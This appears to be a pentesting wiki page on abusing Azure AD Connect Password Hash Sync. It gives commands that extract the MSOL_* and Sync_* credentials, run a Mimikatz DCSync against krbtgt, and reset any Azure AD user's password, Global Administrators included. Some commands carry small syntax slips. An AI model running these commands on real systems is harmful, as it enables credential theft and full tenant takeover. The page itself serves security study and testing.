Az - PHS - Password Hash Sync

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Basic Information

From the docs: Password hash synchronization is one of the sign-in methods used to accomplish hybrid identity. Azure AD Connect synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.

It's the most common method used by companies to synchronize an on-prem AD with Azure AD.

All users and a hash of the password hashes are syncronized from the on-prem to Azure AD. However, clear-text passwords or the original hashes aren't sent to Azure AD. Moreover, Built-in security groups (like domain admins...) are not synced to Azure AD.

The hashes syncronization occurs every 2 minutes. However, by default, password expiry and account expiry are not sync in Azure AD. So, a user whose on-prem password is expired (not changed) can continue to access Azure resources using the old password.

When an on-prem user wants to access an Azure resource, the authentication takes place on Azure AD.

PHS is required for features like Identity Protection and AAD Domain Services.


When PHS is configured some privileged accounts are automatically created:

  • The account MSOL_<installationID> is automatically created in on-prem AD. This account is given a Directory Synchronization Accounts role (see documentation) which means that it has replication (DCSync) permissions in the on-prem AD.

  • An account Sync_<name of on-prem ADConnect Server>_installationID is created in Azure AD. This account can reset password of ANY user (synced or cloud only) in Azure AD.

Passwords of the two previous privileged accounts are stored in a SQL server on the server where Azure AD Connect is installed. Admins can extract the passwords of those privileged users in clear-text. The database is located in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

It's possible to extract the configuration from one of the tables, being one encrypted:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

The encrypted configuration is encrypted with DPAPI and it contains the passwords of the MSOL_* user in on-prem AD and the password of Sync_* in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.

You can find a full overview of how these credentials are stored and decrypted in this talk.

Finding the Azure AD connect server

If the server where Azure AD connect is installed is domain joined (recommended in the docs), it's possible to find it with:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusing MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

You can also use adconnectdump to obtain these credentials.

Abusing Sync_*

Compromising the Sync_* account it's possible to reset the password of any user (including Global Administrators)

# This command, run previously, will give us alse the creds of this account

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

It's also possible to modify the passwords of only cloud users (even if that's unexpected)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

It's also possible to dump the password of this user.

Another option would be to assign privileged permissions to a service principal, which the Sync user has permissions to do, and then access that service principal as a way of privesc.

Seamless SSO

It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:

pageAz - Seamless SSO


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